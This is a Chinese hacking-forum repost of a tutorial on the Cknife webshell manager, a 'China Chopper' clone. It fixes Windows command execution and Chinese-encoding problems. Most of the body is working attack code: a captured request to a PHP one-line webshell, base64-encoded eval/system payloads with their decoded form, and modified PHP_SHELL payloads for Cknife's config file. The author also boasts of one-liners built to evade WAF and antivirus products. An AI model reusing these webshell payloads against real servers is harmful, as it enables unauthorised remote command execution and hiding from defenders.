诚殷网络WEB安全技术论坛—WEB安全培训|渗透测试培训|网络安全培训|黑客论坛|白帽子论坛|黑客论坛|

在现在满大街菜刀都存在后门问题的时候,Cknife横空出世了。因为开源,所以安全。因为可操作的空间挺大的,也十分适合过各种WAF。下面就是解决两个常见问题的过程。希望可以帮到各位白帽子。

工具推荐:Cknife,跨平台版中国菜刀正式开源

但是使用过程中也遇到了一些小问题,被吐槽最多的就是中文乱码以及部分Windows环境shell无法回显。下面我来分析过程,解决问题:首先是shell回显问题,shell在部分windows环境中是不能执行cmd的

15037235014140.jpg

哇,气死人了。

昨晚写出来了配套的过狗过D盾过360一句话木马,也把Cknife的数据做了加密。

然而,这东西根本无法好好使用啊!

测试一句话(服务端):



于是给Cknife,连接shell,打开burp抓包

这是执行”whoami”时候的请求,没有返回的报文。

POST /test.php HTTP/1.1User-Agent: Java/1.8.0_121Host: localhostAccept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2Content-type: application/x-www-form-urlencodedContent-Length: 598Connection: closea=QGV2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbYWN0aW9uXSkpOw== &action=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2bfCIpOzskcD1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejEiXSk7JHM9YmFzZTY0X2RlY29kZSgkX1BPU1RbInoyIl0pOyRkPWRpcm5hbWUoJF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdKTskYz1zdWJzdHIoJGQsMCwxKT09Ii8iPyItYyBcInskc31cIiI6Ii9jIFwieyRzfVwiIjskcj0ieyRwfSB7JGN9IjtzeXN0ZW0oJHIuIiAyPiYxIiwkcmV0KTtwcmludCAoJHJldCE9MCk/IgpyZXQ9eyRyZXR9CiI6IiI7O2VjaG8oInw8LSIpO2RpZSgpOw%3d%3d&z1=Y21k&z2=Y2QvZCJEOlxwaHBTdHVkeVxXV1dcIiZkaXImZWNobyBbU10mY2QmZWNobyBbRV0%3d

本地模拟了服务端处理客户端请求的场景


<?php//客户端发送请求$_POST['a'] = 'QGV2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbYWN0aW9uXSkpOw==';$_POST['z1']='Y21k';$_POST['z2']='Y2QvZCJEOlxwaHBTdHVkeVxXV1dcIiZ3aG9hbWkmZWNobyBbU10mY2QmZWNobyBbRV0=';$_POST['action']='QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskcD1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejEiXSk7JHM9YmFzZTY0X2RlY29kZSgkX1BPU1RbInoyIl0pOyRkPWRpcm5hbWUoJF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdKTskYz1zdWJzdHIoJGQsMCwxKT09Ii8iPyItYyBcInskc31cIiI6Ii9jIFwieyRzfVwiIjskcj0ieyRwfSB7JGN9IjtzeXN0ZW0oJHIuIiAyPiYxIiwkcmV0KTtwcmludCAoJHJldCE9MCk/IgpyZXQ9eyRyZXR9CiI6IiI7O2VjaG8oInw8LSIpO2RpZSgpOw==';//服务端eval(base64_decode($_POST['a']).';');

15037235357466.jpg

然后Base64解码


<?php$_POST['z1']='Y21k';$_POST['z2']='Y2QvZCJEOlxwaHBTdHVkeVxXV1dcIiZkaXImZWNobyBbU10mY2QmZWNobyBbRV0=';eval('@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$p=base64_decode($_POST["z1"]);$s=base64_decode($_POST["z2"]);$d=dirname($_SERVER["SCRIPT_FILENAME"]);$c=substr($d,0,1)=="/"?"-c \"{$s}\"":"/c \"{$s}\"";$r="{$p} {$c}";system($r." 2>&1",$ret);print ($ret!=0)?"ret={$ret}":"";;echo("|<-");die();');

这就通过短短一句话木马来做事情的秘密了。

特么的!最坑的地方知道是什么吗!我找了一晚上!



看似很正常对吧?


$p = ‘cmd’;

$c= ‘whoami’; (举例)

$r="{$p} {$c}";





然后system($r);

一切都很完美吧?

那你就错了,因为

15037235517260.jpg

呵呵,所以shell环境是Windows的时候有可能发生这种低级问题,

你!根!本!执!行!不!了!命!令!

解决起来也很简单

明文修改部分就行了!


<?php$_POST['z1']='Y21k';$_POST['z2']='Y2QvZCJEOlxwaHBTdHVkeVxXV1dcIiZkaXImZWNobyBbU10mY2QmZWNobyBbRV0=';eval('@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$p=base64_decode($_POST["z1"]);$s=base64_decode($_POST["z2"]);$d=dirname($_SERVER["SCRIPT_FILENAME"]);$c=substr($d,0,1)=="/"?"-c \"{$s}\"":"/c \"{$s}\"";$r="{$s}";system($r." 2>&1",$ret);print ($ret!=0)?"ret={$ret}":"";;echo("|<-");die();');

实际操作只需要

打开c刀的Config.ini文件,查找  “php_shell=”

15037235779235.jpg

修改成


PHP_SHELL=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpOwpAc2V0X3RpbWVfbGltaXQoMCk7CkBzZXRfbWFnaWNfcXVvdGVzX3J1bnRpbWUoMCk7CmVjaG8oIi0%2bfCIpOzsKJHA9KGJhc2U2NF9kZWNvZGUoJF9QT1NUWyJ6MSJdKSk7CiRzPShiYXNlNjRfZGVjb2RlKCRfUE9TVFsiejIiXSkpOwokZD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7CiRjPXN1YnN0cigkZCwwLDEpPT0iLyI/Ii1jIFwieyRzfVwiIjoiL2MgXCJ7JHN9XCIiOwokYz0kczsKJHI9InskY30iOwpzeXN0ZW0oJHIuIiAyPiYxIiwkcmV0KTtwcmludCAoJHJldCE9MCk/IgpyZXQ9eyRyZXR9CiI6IiI7O2VjaG8oInw8LSIpO2RpZSgpOw%3d%3d



就行了,然后重新打开一次C刀。大功告成。


15037235883507.jpg


这只是第一部分,回显中有中文依旧会乱码,于是就有了后半部分文章


中文乱码解决

15037236373635.jpg


抓包,得到数据,可以看到,本地模拟的情况下。system函数执行的回显是乱码的。


后来经过测试,是编码的问题 ,把编码修改成utf-8即可显示中文啦~


下面是具体操作



并且需要把system函数修改成exec函数,用来把回显赋值给变量


15037236628814.jpg


修改部分


exec($r." 2>&1",$retn,$retn2);foreach($retn as $res) {    $res = iconv("GBK", "UTF-8", $res);    echo $res;    echo "\n";};

即可正常显示中文


修改cknife目录下的config文件中的php_shell为


修改部分

PHP_SHELL=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpOwpAc2V0X3RpbWVfbGltaXQoMCk7CkBzZXRfbWFnaWNfcXVvdGVzX3J1bnRpbWUoMCk7CmVjaG8oIi0%2bfCIpOzsKJHA9YmFzZTY0X2RlY29kZSgkX1BPU1RbInoxIl0pOwokcz1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejIiXSk7CiRkPWRpcm5hbWUoJF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdKTsKJGM9c3Vic3RyKCRkLDAsMSk9PSIvIj8iLWMgXCJ7JHN9XCIiOiIvYyBcInskc31cIiI7CiRyPSJ7JHN9IjsKZXhlYygkci4iIDI%2bJjEiLCRyZXRuLCRyZXRuMik7CmZvcmVhY2goJHJldG4gYXMgJHJlcykgewogICAgJHJlcyA9IGljb252KCJHQksiLCAiVVRGLTgiLCAkcmVzKTsKICAgIGVjaG8gJHJlczsKICAgIGVjaG8gIlxuIjsKfTsKZWNobyAkcmV0bjI7CnByaW50ICgkcmV0bjIhPTApPyJyZXRuMj17JHJldG4yfSI6IiI7OwplY2hvKCJ8PC0iKTsKZGllKCk7                                    

即可正常回显中文啦~


15037236736852.jpg

*本文作者:Lz1y,转载请注明FreeBuf.COM





上一篇:如何绕过windows 2008 R2身份验证?
下一篇:网上发原图会泄露位置等隐私?微信:会 可关闭GPS
0 人收藏
诚殷网络专注WEB安全培训!
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|手机版|小黑屋|诚殷网络论坛 ( 琼ICP备15002356号 )

Powered by Dede 123 © 2001-2016 Hacker.

返回顶部